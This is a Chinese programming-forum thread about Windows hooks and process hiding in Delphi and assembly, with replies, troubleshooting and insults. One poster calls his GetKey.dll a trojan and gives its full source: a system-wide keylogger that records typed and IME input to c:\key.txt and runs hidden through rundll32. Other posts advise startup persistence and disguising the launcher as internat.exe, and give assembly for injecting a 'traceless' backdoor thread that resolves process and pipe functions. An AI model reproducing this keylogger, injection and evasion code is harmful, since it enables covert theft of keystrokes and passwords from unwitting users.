天啊!是不是winexec.exe一定会执行,假如把它设为开机运行,叫一个键盘快手适时按下热启动三键,是否有机会可以将其捕杀??我很想知道,怎么保证winexec.exe绝对安全地执行?? |
![]() | 得0分 |
太....太....太....太....太.... 太强了!!! 太好了!!! noho(noho) verybigbug() 你们这样说就不对了 这怎么也是剑影兄自己研究出来的 你们说的是你们自己的成果吗?? |
![]() | 得0分 |
to LANDFISH: 其实我的木马就是Getkey.dll,winexec.exe不是木马,只是安木马启动程序 to liuchun: 在启动的时候,有很多方法,比如在注册表中,在win.ini和system.ini中,在启动组中,或象冰河一样和文本文件关联,也可以做一个autorun.inf文件等,你了可以伪装一下,比如将winexec.exe改成internat.exe,或者用rundll32.exe 来启动install.dll也行,方法很多,当然如果你费尽心机要查一个木马,木马当然会查出来,要不杀毒公司没饭吃了, |
![]() | 得0分 |
我给一个更好的解决方案把 这种方法在一个进程中注入一个线程 所有的工作都在该线程中做 什么痕迹都不露 ; ######################################################################### .386 .model flat, stdcall ; 32 bit memory model option casemap :none ; case sensitive ; ######################################################################### ; include files ; ######################################################################### include D:\ASM\MASM32\INCLUDEA\windows.inc RUNTHREAD_PARAMETER STRUCT BaseAddress DWORD 0 FnLoadLibraryA DWORD 0 FnLoadLibraryW DWORD 0 FnGetModuleHandleA DWORD 0 FnGetModuleHandleW DWORD 0 FnGetProcAddress DWORD 0 lpParameter DWORD 0 Reserve DWORD 0 RUNTHREAD_PARAMETER ENDS LPRUNTHREAD_PARAMETER TYPEDEF PTR RUNTHREAD_PARAMETER THUNK STRUCT m_jmp db e9h m_offset dd 0 THUNK ENDS OFF_BASEASSRESS EQU 0 OFF_LOADLIBRARYA EQU 4 OFF_LOADLIBRARYW EQU 8 OFF_GETMODULEHANDLEA EQU 12 OFF_GETMODULEHANDLEW EQU 16 OFF_GETPROCADDRESS EQU 20 OFF_PARAMETER EQU 24 OFF_RESERVE EQU 28 CREATE_DEFAULT_ERROR_MODE EQU 04000000h ; ######################################################################### ; CreateProcess ; ######################################################################### CreateProcess MACRO BaseAddress, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation push lpProcessInformation push lpStartupInfo push lpCurrentDirectory push lpEnvironment push dwCreationFlags push bInheritHandles push lpThreadAttributes push lpProcessAttributes push lpCommandLine push lpApplicationName mov eax, BaseAddress mov ecx, offset CreateProcessThunk sub ecx, start add eax, ecx call dword ptr eax ENDM ;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下: ; mov edx, BaseAddress ; mov ecx, Lib_Kernel32_Name ; sub ecx, start ; add edx, ecx ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORD InitializeThunk PROTO lpRunThreadParmeter : DWORD ; ######################################################################### ; CODE SEGMENT ; ######################################################################### .code start: jmp BackDoorThreadProc CreateProcessThunk THUNK <0e9h, 0> GetCurrentProcessThunk THUNK <0e9h, 0> CreatePipeThunk THUNK <0e9h, 0> DuplicateHandleThunk THUNK <0e9h, 0> GetStdHandleThunk THUNK <0e9h, 0> CloseHandleThunk THUNK <0e9h, 0> CreateThreadThunk THUNK <0e9h, 0> WaitForSingleObjectThunk THUNK <0e9h, 0> OutputDebugStringThunk THUNK <0e9h, 0> ; ######################################################################### ; BackDoorThreadProc ; ######################################################################### BackDoorThreadProc proc lpRunThreadParameter:DWORD LOCAL BaseAddress : DWORD ;ebp-4 LOCAL sa : SECURITY_ATTRIBUTES ;ebp-8h LOCAL hOutputReadTmp : DWORD ;ebp-14h LOCAL hOutputRead : DWORD ;ebp-18h LOCAL hOutputWrite : DWORD ;ebp-1ch LOCAL hInputWriteTmp : DWORD ;ebp-20h LOCAL hInputRead : DWORD ;ebp-24h LOCAL hInputWrite : DWORD ;ebp-28h int 3 ;保存寄存器 push ebx push esi push edi ;得到基地址 mov ebx, lpRunThreadParameter push [ebx+OFF_BASEASSRESS] pop BaseAddress INVOKE InitializeThunk, lpRunThreadParameter BackDoorThreadProcExitPoint: pop edi pop esi pop ebx ret BackDoorThreadProc endp ; ######################################################################### ; InitializeThunk ; ######################################################################### InitializeThunk proc lpRunThreadParameter : DWORD LOCAL BaseAddress : DWORD LOCAL hModule : DWORD jmp InitializeThunkEntryPoint Lib_Kernel32_Name: db "kernel32",0 Func_CreateProcess_Name: db "CreateProcessA", 0 Func_CreatePipe_Name: db "CreatePipe", 0 Func_DuplicateHandle_Name: db "DuplicateHandle", 0 Func_GetStdHandle_Name: db "GetStdHandle", 0 Func_CloseHandle_Name: db "CloseHandle", 0 Func_CreateThread_Name: db "CreateThread", 0 Func_WaitForSingleObject_Name: db "WaitForSingleObject", 0 Func_OutputDebugStringA_Name: db "OutputDebugStringA", 0 InitializeThunkEntryPoint: ;保存寄存器 push ebx push esi push edi ;得到基地址 mov ebx, lpRunThreadParameter push [ebx+OFF_BASEASSRESS] pop BaseAddress ;GeModuleHandleA("kernel32") mov edx, BaseAddress mov ecx, Lib_Kernel32_Name sub ecx, start add edx, ecx push edx ;"kernel32" mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETMODULEHANDLEA] ;FnGetModuleHandleA .if eax==0 jmp InitializeThunkExitPoint .endif mov hModule, eax ;##################################### ;GetProcAddress(eax, "CreateProcessA") ;##################################### mov edx, BaseAddress mov ecx, Func_CreateProcess_Name sub ecx, start add edx, ecx push edx ;"CreateProcessA" push eax ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset CreateProcessThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "CreatePipe") ;##################################### mov edx, BaseAddress mov ecx, Func_CreatePipe_Name sub ecx, start add edx, ecx push edx ;"CreatePipe" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset CreatePipeThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "DuplicateHandle") ;##################################### mov edx, BaseAddress mov ecx, Func_DuplicateHandle_Name sub ecx, start add edx, ecx push edx ;"DuplicateHandle" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset DuplicateHandleThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "GetStdHandle") ;##################################### mov edx, BaseAddress mov ecx, Func_GetStdHandle_Name sub ecx, start add edx, ecx push edx ;"GetStdHandle" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset GetStdHandleThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "CloseHandle") ;##################################### mov edx, BaseAddress mov ecx, Func_CloseHandle_Name sub ecx, start add edx, ecx push edx ;"CloseHandle" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset CloseHandleThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "CreateThread") ;##################################### mov edx, BaseAddress mov ecx, Func_CreateThread_Name sub ecx, start add edx, ecx push edx ;"CreateThread" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset CreateThreadThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "WaitForSingleObject") ;##################################### mov edx, BaseAddress mov ecx, Func_WaitForSingleObject_Name sub ecx, start add edx, ecx push edx ;"WaitForSingleObject" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset WaitForSingleObjectThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif ;##################################### ;GetProcAddress(hModule, "OutputDebugStringA") ;##################################### mov edx, BaseAddress mov ecx, Func_OutputDebugStringA_Name sub ecx, start add edx, ecx push edx ;"OutputDebugStringA" push hModule ;hModule mov ebx, lpRunThreadParameter call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress .if eax!=0 mov ebx, BaseAddress mov ecx, offset OutputDebugStringThunk sub ecx, start add ebx, ecx sub eax, ebx sub eax, 5 mov [ebx+1], eax .endif InitializeThunkExitPoint: pop edi pop esi pop ebx ret InitializeThunk endp |
![]() | 得0分 |
njhhack(剑影) 我是98,运行2-3次你的程序就会死机,怎么回事? |
![]() | 得0分 |
to nohu: 兄弟的程序真不错,好厉害哟,呵呵 |
![]() | 得0分 |
在WIN2K SP2下面好象不能隐藏哦 |
![]() | 得0分 |
to njhhack,verybigbug,noho, and all: 你们大谈钩子。delphi做钩子真的那么安全吗?为什么市面上只看到钱达智先生的wh_keyboard,我尝试做wh_cbt/wh_callwndproc都有问题。能不能贴一个没问题的非键盘钩子看看?同样的sdk帮助,在vc中能run得很好,在delphi中总是有大大小小的问题。。。借光了。 |
![]() | 得0分 |
to BigBen: 这个很稳定哟,试试看哟,呵呵............ { win9X,NT,w2k 中的系统钩子示例程序(Delphi 版) ----------------------------------------------------- windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型,他能过滤大部分的 windows消息,但是要做成系统级的钩子,就要使用动态链接库,这样做很困难,因为涉及到多 线程及全局变量,等问题,当然在某些情况下还会有线程同步及同步冲突问题,关于同步问题 暂时不在这讲,因为这儿用不到,以后会举同步的例子,由于这些原因常会导致错误,本程序 用了一个巧妙的方法解决了这个问题,主要技巧是不用*.exe,只用*.dll,并用windows自带的 rundll32.exe程序来运行这个GetKey.dll,本程序能过滤wm_char,和wm_ime_char消息,所以能 得到键盘输入的任何字中英文字符,结果存在C;\key.txt中,使用方法为: rundll32 GetKey.dll,run 下面这个程序用Delphi设计,没有用delphi的控件,只用了win32 api,所以通用于Delphi的任 何版本,当然你也可以用c来实现,有看不懂的可以写信给我,这是第一版,可能有BUG,大家发 现了通知我一下,欢迎大家和我一起来讨论HOOK技术: ----------------------------------------------------- First Created:njhhack 2001.6.14 (ver1.0) 电子信箱:njhhack@21cn.com 主页:hotsky.363.net } library GetKey; uses windows,messages,sysutils; {$r *.res} const HookMemFileName='HookMemFile.DTA'; type PShared=^TShared; PWin=^TWin; TShared = record HHGetMsgProc:HHook; HHCallWndProc:HHook; Self:integer; Count:integer; hinst:integer; end; TWin = record Msg:TMsg; wClass:TWndClass; hMain:integer; end; var MemFile:THandle; Shared:PShared; Win:TWin; procedure SaveInfo(str:string);stdcall; var f:textfile; begin assignfile(f,'c:\key.txt'); if fileexists('c:\key.txt')=false then rewrite(f) else append(f); if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'') else write(f,str); closefile(f); end; procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall; begin if (uMessage=WM_CHAR) and (lParam<>1) then begin SaveInfo(format('%s',[chr(wparam and $ff)])); inc(shared^.count); if shared^.count>60 then begin SaveInfo('#13#10'); shared^.count:=0; end; end; if (uMessage=WM_IME_CHAR) then begin SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)])); inc(shared^.count,2); end; end; function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:PMSG; hd,uMsg,wP,lP:integer; begin pcs:=PMSG(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin hd:=pcs^.hwnd; uMsg:=pcs^.message; wp:=pcs^.wParam; lp:=pcs^.lParam; HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam); end; function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:PCWPSTRUCT; hd,uMsg,wP,lP:integer; begin pcs:=PCWPSTRUCT(lParam); if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then begin hd:=pcs^.hwnd; uMsg:=pcs^.message; wp:=pcs^.wParam; lp:=pcs^.lParam; HookProc(hd,uMsg,wp,lp); end; Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam); end; procedure SetHook(fSet:boolean); begin with shared^ do if fSet=true then begin if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0); if HHCallWndProc=0 then begin HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0); if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc); end; end else begin if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc); if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc); HHGetMsgProc:=0; HHCallWndProc:=0; end; end; procedure Extro; begin UnmapViewOfFile(Shared); CloseHandle(MemFile); end; function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of wm_destroy: begin SetHook(False); ExitThread(0); freelibrary(shared^.hinst); // TerminateThread(); //exitprocess(0); end; end; end; procedure run;stdcall; begin win.wClass.lpfnWndProc:= @WindowProc; win.wClass.hInstance:= hInstance; win.wClass.lpszClassName:='GetKey'; RegisterClass(win.wClass); win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil); FillChar(Shared^,SizeOf(TShared),0); shared^.self:=win.hmain; shared^.hinst:=hinstance; SetHook(true); postmessage(findwindow('WinExec',nil),wm_destroy,0,0); while(GetMessage(win.Msg,win.hmain,0,0))do begin TranslateMessage(win.Msg); DispatchMessage(win.Msg); end; end; procedure DllEntryPoint(fdwReason:DWORD); begin case fdwReason of DLL_PROCESS_DETACH: Extro; end; end; exports run; begin //建立内存映象文件,用来保存全局变量 MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName); Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0); DLLProc:=@DllEntryPoint; end. |
![]() | 得0分 |
我靠,高手如林,我到,我跑,我去卖地瓜 |
![]() | 得0分 |
njhhack(剑影)兄,好像您还没给在下解疑 我运行您的程序,在win98下总是会死机,通常运行2-3次左右 请问为什么? 注:第一次运行后蛮好的 |
![]() | 得0分 |
to verybigbug: 我用win2000, 如果选择 folder options ->View->Lanuch folder windows in a sepatate process的话,你会看到多个explorer.exe在你的进程列表里的. win2000的任务管理器里列出的可绝对是进程,并非窗口。 对于win98,好像也有这种设置 |
![]() | 得0分 |
研究研究。 感谢高手们给的讨论和原码 |
![]() | 得0分 |
好多高手阿, 努力努力!!! |
![]() | 得0分 |
to x7913()兄: 谢谢你为我在98下做测试,要知到一个人的力量是有限的,大家联合起来,中国的软件开发才有前途,人家说三个印度人在一起是条龙,三个中国人在一起是条虫,但我不信,所以我要公开所有的源代码,让大家来研究,我要尽我所能探索windows编程序中的各个难题,并将来一一公布,让每个中国人都能用他来造福国人,也希望各们高手不要保守,好东西要共享,要提高中国的整体实力,就要共享, 至于你提的问题我是这么想的,系统级的hook并不简单,可能涉及到多线程,及线程同步和冲突问题,比如你运行了我的程序2次,那么系统中就会有2个getkey.dll在运行,这时若有wm_char消息传来,那么会有两个线程同时向key.txt中写入字符,这就产生了冲突,另外,hook的多重设置,以及多重hook在windows中的具体运作模式我了不是太清楚,要知道调试*.dll中的多线程hook是很难的,我曾为了搞清这个问题,设计了专门的调试程序,才得知一点多线程下的hook行为, 我觉得网络上有关delphi的hook文章太少了,有的只是很简单的文章,所以我研究了delphi下的hook,希望大家能有更好的发现,并把delphi下的hook搞的彻底一点,台湾的钱达智前辈只是讲了一个简单的非系统级的wh_keyboard的hook例子,我想把delphi的hook技术进行到底,给每个类型的hook都举一个例子,希望让hook技术大白于天下,大家以为如何: 在下还做了一个JournalRecord的hook,虽然没用*.dll,但确是系统级的hook,能得到所有线程的键盘和鼠标消息,例子如下,注意只能运行一次,不能重复运行,否则有错,程序如下: 示例程序在前面提到的网址中有: njhhack.top263.net/process.zip hotsky.363.net/process.zip --------------------- --------------------- { win9X,NT,w2k 中的系统日志钩子示例程序(Delphi 版) ----------------------------------------------------- windows下的日志钩子是一种很有用的HOOK类型,他不需要动态链接库*.DLL,就能实现 系统级的事件监控,它只能监视两种硬件的事件,即鼠标,键盘的操作,而不能监视其它 消息,被记录的消息可以用日志回放钩子将它还原,下面这个程序用Delphi设计,没有 用delphi的控件,只用了win32 api,所以通用于Delphi的任何版本,当然你也可以用c 来实现,有看不懂的可以写信给我,这是第一版,可能有BUG,大家发现了通知我一下,欢 迎大家和我一起来讨论HOOK技术: ----------------------------------------------------- First Created:njhhack 2001.6.14 (ver1.0) 电子信箱:njhhack@21cn.com 主页:hotsky.363.net } Program Journal; //包含如下头文件 uses windows,messages,sysutils; {$r *.res} //使用资源文件 //定义一个新的结构类型 type TWin = record Msg:TMsg; wClass:TWndClass; hMain:integer; lr:trect; tem:TEVENTMSG; end; var Win:TWin; //结构变量 HHJournalRecordProc:integer; //日志钩子句柄 //将字符串str写到文件c:\key.txt中 procedure SaveInfo(str:string);stdcall; var f:textfile; fname:string; begin fname:='c:\key.txt'; assignfile(f,fname); if fileexists(fname)=false then rewrite(f) else append(f); writeln(f,str); closefile(f); end; //将信息写到屏幕 procedure writestr; var hdc:integer; str:string; begin hdc:=getdc(win.hmain); RoundRect(hdc,10,10,240,140,12,8); with win.tem do begin str:=format('窗口句柄=%x',[hwnd]); textout(hdc,30,24*1,pchar(str),length(str)); str:=format('鼠标位置=(%d,%d)',[paraml,paramh]); textout(hdc,30,24*2,pchar(str),length(str)); str:=format('消息类型=%x',[message]); textout(hdc,30,24*3,pchar(str),length(str)); str:=format('时间=%d',[time div 1000]); textout(hdc,30,24*4,pchar(str),length(str)); end; releasedc(win.hmain,hdc); end; //日志钩子的回调函数 function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin win.tem:=TEVENTMSG(PEVENTMSG(lParam)^); if nCode>=0 then begin with win.tem do begin with win.lr do begin left:=10; top:=10; right:=240; bottom:=140; end; InvalidateRect(win.hmain,@win.lr,false); if message=wm_lbuttondown then begin SaveInfo(format('窗口句柄=%x,鼠标位置=(%d,%d),消息类型=WM_LBUTTONDOWN,时间=%d',[hwnd,paraml,paramh,time div 1000])); end; end; end; Result:=CallNextHookEx(HHJournalRecordProc,nCode,wParam,lParam); //调用下一个钩子 end; //钩子设置和删除函数 procedure SetHook(fSet:boolean); begin if fSet=true then begin if HHJournalRecordProc=0 then HHJournalRecordProc:=SetWindowsHookEx(WH_JOURNALRECORD,@JournalRecordProc,hinstance,0); end else begin if HHJournalRecordProc<>0 then UnhookWindowsHookEx(HHJournalRecordProc); end; end; //主程序的回调函数 function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of wm_paint:writestr; wm_destroy:begin SetHook(False);halt;end; end; end; //主程序的执行函数 procedure run;stdcall; begin win.wClass.hInstance:= hInstance; with win.wclass do begin hIcon:= LoadIcon(hInstance,'MAINICON'); hCursor:= LoadCursor(0,IDC_ARROW); hbrBackground:= COLOR_BTNFACE+1; Style:= CS_PARENTDC; lpfnWndProc:= @WindowProc; lpszClassName:='JournalRecordHook'; end; RegisterClass(win.wClass); win.hmain:=CreateWindow(win.wClass.lpszClassName,'系统日志钩子演示程序',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil); SetHook(true); while(GetMessage(win.Msg,win.hmain,0,0))do begin TranslateMessage(win.Msg); DispatchMessage(win.Msg); end; end; begin run; //开始运行主程序 end. |
![]() | 得0分 |
下一周我们学校要放假一周,去招生,若招不到学生,我就要下岗了,各位兄弟若可怜我就去我们学校的主页捧捧场 www.sjluban.com 神技鲁班网,呵呵,我要一周不上网了,对不起了,各位兄弟,不过我来了还会把所有的hook源码贴上的,想学的朋友来看吧,就算给兄弟我捧场也行呀,还有我分少,哪位老兄可怜可怜我,送我点分啊,我先谢了呀,呵呵........... |
![]() | 得0分 |
Lock-in |
![]() | 得0分 |
You are so high!I admire everyone! |
![]() | 得0分 |
看看B02K的隐身技术吧,分为9X与NT两种. 打开进程边界的技术很久以前都有很完善的归纳了,BO2K用的是其中之一. 不过这已算是很老的技术了. |
![]() | 得0分 |
njhhack(剑影) 这种白痴方法也叫深度隐藏进程? 技术含量低哟, 而且更本就没把任何东西藏起来哟, 能在系统中看到这个dll被挂着哟, 不管其父进程是谁哟, 只需少许分析一下这个dll就大概可以知道它是干什么的哟, 不够的话就反汇编哟, 然后还叫隐藏? 隐藏个P哟. 如果你只想告诉大家WIN9x系统的安全性有问题, 我看你可以去睡觉了哟, 现在连小学生也知道这一点哟. |
![]() | 得0分 |
to njhhack: 谢谢了。但是为什么做在exe中就有问题?我做的wh_cbt/wh_callwndproc不碰到模态对话框/消息框/菜单还好,一碰到就死。我甚至只是简单的传递了一下hook chain,都有非法操作。 分数好说,我另开一题,给你1000如何?能不能讲讲原因?我还是对delphi非常的钟爱的。。。 我推举你做这个版的斑竹吧,大家都没意见吧?要说delphi是csdn的一大卖点,我想也没什么人反对。。。怎么可以没有一个热心的大佬来主持呢。。。 |
![]() | 得0分 |
我认为,如果你认为你高,请不要轻蔑别人,很不好!不知道,别人羞你的时候,你什么感觉 |
![]() | 得0分 |
剑影老大,我给你的信箱里面发东西了,是钩子问题,我用c写的,可惜在vc版没有得到解答,帮我看看。 |
![]() | 得0分 |
我已前碰到个问题,用delphi编写的鼠标或者是键盘hook程序运行后,向帝国时代等游戏就不能 玩了,一运行就退出,我基本测试过所有网站上公开的hook例子。后来我改用vc编写就没有这样 问题了,不知道各位碰到过没有。 |
![]() | 得0分 |
![]() | 得0分 |
都挺不错的 快给分是硬道理 |
![]() | 得0分 |
学到很多东西!谢谢! |
![]() | 得0分 |
![]() | 得0分 |
delphi作hook的确有问题,特别是journel hook和keypress hook,经常出现错误和冲突。 |
![]() | 得0分 |
我可以确信wh_keyboard/wh_mouse/wh_msgfilter/wh_sysmsgfilter/wh_journal/wh_playback可以用delphi做,不论是全局的还是局部的,都运行正确(等放假了我都贴上来)。对于别的,实在说,没有实验成功。还望大家多多讨论。delphi是多么strong的一个工具,大家应该为捍卫她的尊严出点力呵。 |
![]() | 得0分 |
(Tnny对自己说) 发这个帖子的人真幼稚,三脚猫的技术,还好意思拿出来洋洋得意的显耀...诶,可怜... |
![]() | 得0分 |
我对hook很陌生,谁能用vb代码来简单的说明问题? |
![]() | 得0分 |
to kevin_is_shit(xxx) 我不知道你是谁! 但是我老是看到你在CSDN这里发一些废话,从来没有见过你发表过什么有用的东西,象你这样的人这里不欢迎,建议你还是别来了,你的这个ID已经很臭了。 |
![]() | 得0分 |
to kevin_is_shit(xxx) : 你牛你就贴点好东西出来,不要只会叫,还到处咬。 |
![]() | 得0分 |
to njhhack(剑影):谢谢您的解疑。 to kevin_is_shit(xxx):你他妈怎么不滚蛋啊老子X你爸! 别人炫耀过吗?只不过说说自己的心得体会罢了,要是每个人都向你一样那csdn干脆 关了得了,大家还在这里来“卖弄”干嘛?自己闭门造车不得了,只要你有这水平, 不过我看你小子也不过是个B |
![]() | 得0分 |
中国的很多程序员就知道贬低别人,好!就算你行,你是计算机界的骄娇者,不过 请注意,这个世界上除了计算机还有很多其他领域,每个领域有太多数不清的骄娇者了, 你行又如何,还不是给别人打工,我想在坐各位都不是老板吧。 我感受最深的是和我父亲去听一个香港的企业家座谈,人家那才叫谦虚啊,上千万家财, 但在讲谈过程中还不时地说自己只不过是诺大世界里一个小角色,比自己高的能人实在 太多了,人一定要不停的向身边的人谦逊地学习,还引用了一句著名的古话,大意是“ 比自己强的人,当然要虚心求教,和自己差不多的人,可以与之切磋,不如自己的人, 很多时候向对方讨教也可以求“一得””,相比之下csdn上一些人,认为自己在编程方面 有点实力就瞧不起别人,可以任意踏削别人,我说“呸”!这样的人我本来根本懒得理, 不过csdn上这样的人好像越来越多了,忍不住说几句----真的,不是我有意看不起你们,你们 实在是-----算个球啊!!! |
![]() | 得0分 |
to x7913(): 兄弟谢谢你对我的理解,看到有些人骂我弱,我真得感到很弱,因为我是菜鸟,但我想我懂的东西别人不一定懂,因此想把我懂的东西让大家共享,我没有别的意思,我没有大的能耐,看到有的兄弟说Delphi下的Hook不好做,所以在下把每个Hook都在Delphi做了一下,觉得没啥问题,而且处理的方法较新颖,拿来让兄弟们探讨,这回我说的是Hook,不是深度进程隐藏,还望各位高人不要骂我弱哟,我好害怕哪,不过上面好多高手说的进程隐藏好象只能在nt,w2k下用,win9x下没这种函数呀,在win9x中有个好办法就是用cih病毒的方法,直接进入ring0级啦,不过太难了呀,哪位高人知道win9x下隐藏的好方法,教我呀,我好想学呀,关于hook问题,有不懂的问我就行,不过有的Hook我只做了个框架,没有具体实用作用,要做的兄弟自已完善就行了,呵呵,代码在下面,自已看啦.......... ----------这是*.dll中的单元--------------- unit HookProc; interface uses windows,messages,sysutils; const HTName:array[1..13] of pchar=( 'CALLWNDPROC','CALLWNDPROCRET','CBT','DEBUG','GETMESSAGE','JOURNALPLAYBACK', 'JOURNALRECORD','KEYBOARD','MOUSE','MSGFILTER','SHELL','SYSMSGFILTER','FOREGROUNDIDLE' ); function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function CallWndRetProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function CBTProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function DebugProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function JournalPlaybackProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function KeyboardProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function MouseProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function MessageProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function ShellProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function SysMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; function ForegroundIdleProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; implementation procedure SaveInfo(k:integer;str:string);stdcall; var f:textfile; WorkPath:string; begin WorkPath:=ExtractFilePath(ParamStr(0)); assignfile(f,WorkPath+'Records.txt'); if fileexists(WorkPath+'Records.txt')=false then rewrite(f) else append(f); //if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'') //else write(f,str); writeln(f,HTName[k]+'----'+str); closefile(f); end; function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:TCWPSTRUCT; begin pcs:=TCWPSTRUCT(PCWPSTRUCT(lParam)^); if nCode>=0 then begin if pcs.message=wm_lbuttonup then SaveInfo(1,format('hwnd=%x',[pcs.hwnd])); end; Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function CallWndRetProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function CBTProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function DebugProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; var pcs:TMSG; begin pcs:=TMSG(PMSG(lParam)^); if nCode>=0 then begin if pcs.message=wm_lbuttonup then SaveInfo(5,format('hwnd=%x',[pcs.hwnd])); end; Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function JournalPlaybackProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function JournalRecordProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function KeyboardProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function MouseProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function MessageProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall; begin Result:=CallNextHookEx(0,nCode,wParam,lParam); end; // function 